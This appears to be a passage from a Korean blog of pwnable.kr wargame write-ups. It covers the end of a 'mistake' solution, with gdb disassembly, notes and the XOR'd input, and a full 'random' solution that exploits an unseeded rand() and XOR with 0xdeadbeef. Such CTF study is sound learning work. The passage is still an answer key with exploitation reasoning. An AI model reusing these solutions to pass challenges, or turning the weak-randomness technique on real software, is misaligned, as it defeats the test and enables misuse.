   0x00005555555549a9 <+8>:     mov    DWORD PTR [rbp-0x34],edi
   0x00005555555549ac <+11>:    mov    QWORD PTR [rbp-0x40],rsi
   0x00005555555549b0 <+15>:    mov    rax,QWORD PTR fs:0x28
   0x00005555555549b9 <+24>:    mov    QWORD PTR [rbp-0x8],rax


   0x00005555555549bd <+28>:    xor    eax,eax
   0x00005555555549bf <+30>:    mov    edx,0x100
   0x00005555555549c4 <+35>:    mov    esi,0x0
   0x00005555555549c9 <+40>:    lea    rdi,[rip+0x208]        # 0x555555554bd8
   0x00005555555549d0 <+47>:    mov    eax,0x0
   0x00005555555549d5 <+52>:    call   0x555555554810 <open@plt>
   '''
      (gdb) x/s $rip+0x208
      0x555555554bd8: "/home/mistake/password"

      eax            0x3      3  //open함수의 리턴값은 3임.  
   '''

   0x00005555555549da <+57>:    shr    eax,0x1f  
   ''' eax에는 0값이 들어감. :: 참고로 0x1f는 31임.  

       ※ 중요 ※
          양수인지, 음수인지 shr 31 로 알 수 있다.
          왜냐하면 컴퓨터는 1과 0만 알기 때문에,  shr31만으로도 양수인지 음수인지 알 수 있는 것이다.  
          즉, eax에서 shr 31하면, 0이 나오게 된다.
          // 1은 음수, 0은 양수를 의미함.
   '''

   0x00005555555549dd <+60>:    movzx  eax,al
   0x00005555555549e0 <+63>:    mov    DWORD PTR [rbp-0x28],eax
   0x00005555555549e3 <+66>:    cmp    DWORD PTR [rbp-0x28],0x0
   0x00005555555549e7 <+70>:    je     0x555555554a09 <main+104>
   ''' cmp했을 때 두 수의 값이 0으로 같기 때문에, <main + 104>로 이동함. '''

   0x00005555555549e9 <+72>:    mov    eax,DWORD PTR [rbp-0x28]
   0x00005555555549ec <+75>:    mov    esi,eax
   0x00005555555549ee <+77>:    lea    rdi,[rip+0x219]        # 0x555555554c0e
   0x00005555555549f5 <+84>:    mov    eax,0x0
   0x00005555555549fa <+89>:    call   0x5555555547d0 <printf@plt>
   //   "can't open password %d\n"  

   0x00005555555549ff <+94>:    mov    eax,0x0
   0x0000555555554a04 <+99>:    jmp    0x555555554b39 <main+408>
   0x0000555555554a09 <+104>:   lea    rdi,[rip+0x216]        # 0x555555554c26
   0x0000555555554a10 <+111>:   call   0x5555555547a0 <puts@plt>
  
   '''
      (gdb) x/s $rip+0x216
      0x555555554c26: "do not bruteforce..."
   '''


   0x0000555555554a15 <+116>:   mov    edi,0x0
   0x0000555555554a1a <+121>:   mov    eax,0x0
   0x0000555555554a1f <+126>:   call   0x555555554800 <time@plt>
   // time(0)

3. flag 획득

필자는 pw_buf에 'hellohello' 값을 넣어주고,

pw_buf2에 'hellohello' xor연산한 'idmmnidmmn'값을 입력하여 flag를 획득하였다.

Bye~ 안녕히계세요! ヽ（≧□≦）ノ

[pwnable] random 풀이

power-girl0-0 — Sun, 13 Feb 2022 02:19:59 +0900

안녕하세용(. ❛ ᴗ ❛.)

1. 문제

바이너리 파일과 c코드가 주어진다.

아래는 c코드이다.

#include <stdio.h>

int main(){
	unsigned int random;
	random = rand();	// random value!

	unsigned int key=0;
	scanf("%d", &key);

	if( (key ^ random) == 0xdeadbeef ){
		printf("Good!\n");
		system("/bin/cat flag");
		return 0;
	}

	printf("Wrong, maybe you should try 2^32 cases.\n");
	return 0;
}

2. 풀이

문제 코드를 확인해보면, 랜덤함수인 rand( )를 사용하는데 난수값을 설정하지 않았다.

이는 프로그램이 실행될 때마다 랜덤값이 같다는 것을 예측할 수 있다.

(이해가 되지 않는다면, rand함수에 대해 공부하고 오는 것을 추천한다. )

따라서, 프로그램이 실행되었을 때의 랜덤값을 알아내면 된다.

필자는 gdb를 통해서, 랜덤값을 확인하였다.

랜덤값을 구했으니, key값을 구해보자!

문제 코드 10줄을 보면, key와 랜덤값을 xor해서 0xdeadbeef 값이 나오면 flag를 얻을 수 있다.

즉, 반대로 랜덤값과 0xdeadbeef값을 xor하면 key값을 구할 수 있다는 의미이다.

랜덤값 1804289383를 hex값으로 바꾼 뒤, 0xdeadbeef와 xor연산을 하면, 아래와 같이 결과값을 구할 수 있다.

이제 나온 값을 10진수로 바꿔, 바이너리에 입력하면 flag획득이 가능하다.

3. flag 획득

안녕히 계십쇼 (～￣▽￣)～